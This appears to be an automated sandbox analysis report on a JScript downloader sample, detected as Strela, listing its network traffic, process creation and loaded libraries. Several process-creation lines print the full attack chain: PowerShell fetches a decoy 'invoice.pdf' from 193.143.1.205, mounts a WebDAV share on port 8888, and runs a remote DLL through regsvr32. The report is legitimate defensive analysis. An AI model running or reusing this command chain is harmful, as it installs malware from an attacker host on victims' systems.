HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000003.1726271051.000002B717C05000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000006.00000003.1781554837.000001D6C059C000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1786033177.000001D6C057C000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1785538274.000001D6C057C000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1785919402.000001D6C0548000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000006.00000002.1786033177.000001D6C057C000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1785538274.000001D6C057C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/ds8$
Source: net.exe, 00000006.00000002.1785919402.000001D6C0548000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/r
Source: net.exe, 00000006.00000002.1785919402.000001D6C0548000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/x
Source: svchost.exe, 00000008.00000002.3022607615.0000028DFD200000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: svchost.exe, 00000008.00000003.1785869097.0000028DFD418000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome/acosgr5ufcefr7w7nv4v6k4ebdda_117.0.5938.132/117.0.5
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: svchost.exe, 00000008.00000003.1785869097.0000028DFD418000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: svchost.exe, 00000008.00000003.1785869097.0000028DFD418000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: svchost.exe, 00000008.00000003.1785869097.0000028DFD44D000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: edb.log.8.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.7.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod.C:
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96
Source: qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Installers/23.194.0917.0001/amd64/OneDriveSetup.exe
Source: edb.log.8.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe.C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 2044, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\14635194076754.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\14635194076754.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 1632322273251213172.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/55@2/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6524:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_321hcmof.4bt.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1632322273251213172.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\14635194076754.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2124 --field-trial-handle=1644,i,6776494652425393381,113694542257403772,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\14635194076754.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2124 --field-trial-handle=1644,i,6776494652425393381,113694542257403772,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
